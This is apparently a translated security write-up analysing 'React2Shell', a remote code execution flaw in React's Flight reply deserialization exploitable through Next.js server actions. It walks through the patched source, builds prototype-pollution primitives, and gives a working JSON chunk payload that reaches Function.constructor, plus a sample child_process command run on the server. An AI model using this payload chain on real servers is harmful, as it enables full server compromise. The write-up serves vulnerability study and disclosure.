Diff Analysis

Before analyzing the cause of the vulnerability, it's worth noting that the React2Shell vulnerability was patched through commit 7dc903c in the GitHub repository facebook/react (GitHub Commit). Among the changes made with this commit, modifications related to the Flight Protocol and Prototype were made in packages/react-server/src/ReactFlightReplyServer.js.

caption - Addition of property value checks in getOutlinedModel function implementation within ReactFlightReplyServer.js

Processing Flight Protocol - Gateway to RSC

When the getOutlinedModel function is called among the Flight Protocol data passed to the react-server, it is preprocessed through function calls like below in ReactFlightReplyServer.js.

• initializeModelChunk() Initialization of Chunk when Flight Protocol request occurs

• reviveModel(): Restores Model from request data

• parseModelString(): Creates Model from string data (deserialization)

• getOutlinedModel(): Handles Chunk References occurring during deserialization

Raw Chunk Reference

In the earlier overview of the Flight Protocol, expressions like $@0 were explained to refer to Chunk 0. Looking at the actual implementation, the parseModelString() function appears as follows. (ReactFlightReplyServer.js:929)

case '@': {
  // Promise
  const id = parseInt(value.slice(2), 16);
  const chunk = getChunk(response, id);
  return chunk;
}

For References starting with @, it is implemented as a Raw reference that accepts and returns the Chunk Promise itself. Through this, a reference to the Promise can be obtained. (CAUSE #1)

Unserialize & Prototype Pollution - To the essence of Chunk

The implementation of the getOutlinedModel() function just before the vulnerability patch is as follows. (ReactFlightReplyServer.js:595)

function getOutlinedModel<T>(
  response: Response,
  reference: string,
  parentObject: Object,
  key: string,
  map: (response: Response, model: any) => T,
): T {
  const path = reference.split(':');
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];
      }
      return map(response, value);
  /* (후략) */

In this function, when chunk.status is INITIALIZED, it can be seen that path members obtained with reference.split(':') continue to be referenced within value. Because checks like hasOwnProperty are absent in this process, it is possible to achieve Prototype Pollution through the __proto__ member. (CAUSE #2)

For instance, if the reference expression is $1:__proto__:aaa, it would reference the member aaa of the prototype of Chunk 1.

At this time, if Chunk 1 is a Promise type object as seen with $@0 earlier, then $1:__proto__ would represent (Chunk0).__proto__, which eventually means that Chunk.prototype can be accessed.

Using CAUSE #1 and CAUSE #2, an attacker becomes capable of accessing Chunk.prototype. (PRIMITIVE #1)

Chunk.prototype - Make initializeModelChunk Great Again

The information obtained about Chunk.prototype through PRIMITIVE #1 can also be confirmed within the same ReactFlightReplyServer.js file. (ReactFlightReplyServer.js:125)

Chunk.prototype = (Object.create(Promise.prototype): any);
// TODO: This doesn't return a new Promise chain unlike the real .then
Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;
    case PENDING:
    case BLOCKED:
    case CYCLIC:
      if (resolve) {
        if (chunk.value === null) {
          chunk.value = ([]: Array<(T) => mixed>);
        }
        chunk.value.push(resolve);
      }
      if (reject) {
        if (chunk.reason === null) {
          chunk.reason = ([]: Array<(mixed) => mixed

Chunk is essentially a Promise object, and the .then() method is divided into different behaviors depending on this.status.

Meanwhile, by using PRIMITIVE #1, if $1:__proto__:then is referenced, it becomes possible to make any property of the chunk into the Chunk.prototype.then function, thereby allowing a property named then to point to Chunk.prototype.then.

{"then":"$1:__proto__:then", "status": "resolved_model", "value": "...", "_response": "..."}

If a Chunk is set as exemplified above, then is essentially Chunk.prototype.then, and since this.status is resolved_model within then, an attacker can call any initializeModelChunk function if only this chunk (actually a Promise) can be resolved. (PRIMITIVE #2)

initializeModelChunk - Once More

By utilizing PRIMITIVE #2, an attacker can call the initializeModelChunk function using fully-controllable values once more. The implementation of this function is as follows. (ReactFlightReplyServer.js:446)

function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
  const prevChunk = initializingChunk;
  const prevBlocked = initializingChunkBlockedModel;
  initializingChunk = chunk;
  initializingChunkBlockedModel = null;

  const rootReference =
    chunk.reason === -1 ? undefined : chunk.reason.toString(16);

  const resolvedModel = chunk.value;

  // We go to the CYCLIC state until we've fully resolved this.
  // We do this before parsing in case we try to initialize the same chunk
  // while parsing the model. Such as in a cyclic reference.
  const cyclicChunk: CyclicChunk<T> = (chunk: any);
  cyclicChunk.status = CYCLIC;
  cyclicChunk.value = null;
  cyclicChunk.reason = null;

  try {
    const rawModel = JSON.parse(resolvedModel);

    const value: T = reviveModel(
      chunk._response,
      {''

At this time, the attacker can completely control the value of resolvedModel, allowing them to call the reviveModel function with any JSON object. Furthermore, chunk._response was likewise a manipulatable value since the initializeModelChunk() call process, so PRIMITIVE #2 reduces to an arbitrary reviveModel function call.

reviveModel - Blob

The reviveModel() function internally calls parseModelString() as before. Within this parseModelString() is logic for handling Blob data. (ReactFlightReplyServer.js:446)

  case 'B': {
    // Blob
    const id = parseInt(value.slice(2), 16);
    const prefix = response._prefix;
    const blobKey = prefix + id;
    // We should have this backingEntry in the store already because we emitted
    // it before referencing it. It should be a Blob.
    const backingEntry: Blob = (response._formData.get(blobKey): any);
    return backingEntry;
  }

At this time, recalling that the response being referenced in the code block is a manipulatable value by the attacker, blobKey can also be manipulated in the form of (desiredString) || (arbitraryInteger), and response._formData.get can also be manipulated with appropriate value.

Since response._formData.get needs to be a callable function, CAUSE #1 can be recalled and applied.

As above, since $1:constructor:constructor becomes Function.constructor, if a chunk is organized as below, it becomes possible to create an arbitrary function using Function.constructor and assign it to value.

{
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  },
  "value": "{\\"then\\": \\"$B1\\"}"
}

If the above _response is processed through Blob, eventually, the function Function.constructor("console.log(1337);//1") is returned, resulting in the following structure.

{
  "value": {
    "then": Function() {
      console.log(1);//1
    }
  }
}

Here, the attacker can create any desired JavaScript function and further make value itself a Thenable with the then as a function.

Also, looking back at the Chunk.prototype.then() function,

Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {

Upon completion of the initializeModelChunk call where Blob is processed and value is a Thenable with a then made by the attacker's arbitrary function, the line resolve(chunk.value) ends up executing an arbitrary JavaScript function. (PRIMITIVE #3)

Sum Everything, Next Resolves Everything

At this point, it's necessary to revisit what the attacker gains in terms of Primitive information.

PRIMITIVE #1 => Chunk.prototype 에 대한 접근
PRIMITIVE #2 => (resolve 될 때) Fully-Controllable 한 `initializeModelChunk` 호출
PRIMITIVE #3 => 임의의 Function 생성 및 실행

Regardless of form, if the then of Chunk is resolved initially, PRIMITIVE #2 leads to PRIMITIVE #3, thereby enabling an arbitrary function call.

Consider this configuration of the attacker's Chunk:

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  }
}

In such a configuration, provided then is correctly invoked, the flow below enables arbitrary code execution server-side.

1. .then() is executed with the whole as this since it's essentially Chunk.prototype.then

2. value = JSON.parse("{\\"then\\": \\"$B1\\"}"), followed by reviveModel call

3. Within reviveModel, set $B1337 with Function.constructor("console.log(1);//1")

4. The then of value is invoked again ⇒ triggers Function.constructor("console.log(1);//1)() execution

5. Executes arbitrary javascript code found in _response._prefix

If we examine a very representative framework using React, such as Next.js, we notice that, should a Next-Action header be delivered, the action handler includes the following code. (action-handler.ts:879)

boundActionArguments = await decodeReplyFromBusboy(
                busboy,
                serverModuleMap,
                { temporaryReferences }
              )

In this case, the decodeReplyFromBusboy function processes multipart/form-data type requests to return a chunk.

exports.decodeReplyFromBusboy = function (
      busboyStream,
      webpackMap,
      options
    ) {
      var response = createResponse(
          webpackMap, //bundlerConfig
          "", // formFieldPrefix
          options ? options.temporaryReferences : void 0 //temporaryReferences
        ),
        pendingFiles = 0,
        queuedFields = [];
      busboyStream.on("field", function (name, value) {
        if (0 < pendingFiles) queuedFields.push(name, value);
        else
          try {
            resolveField(response, name, value);
          } catch (error) {
            busboyStream.destroy(error);
          }
      });
      //.. 생략..
      busboyStream.on("finish", function () {
        close(response);
      });
      busboyStream.on("error", function (err) {
        reportGlobalError(response, err);
      });
      return getChunk(response, 0);
    };

That is, if the above Chunk was provided in multipart/form-data form, the decodeReplyFromBusboy function parses the chunk and ends up returning the chunk below.

{
  "then": Chunk.prototype.then,
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": Chunk.constructor.constructor
    },
    "_prefix": "console.log(1);//"
  }
}

This object becomes a Thenable since it contains a then member and is a Function as defined in JavaScript. (MDN - Thenable)

Hence, through the initial Chunk.prototype.then, access to a properly arranged second initializeModelChunk can be achieved, leading to the execution of the console.log(1) code eventually.

The JavaScript executed here is not client-side code, but code running server-side through node.js, thus enabling the attacker to run arbitrary code on the server, such as process.mainModule.require('child_process').execSync('id > /tmp/test');.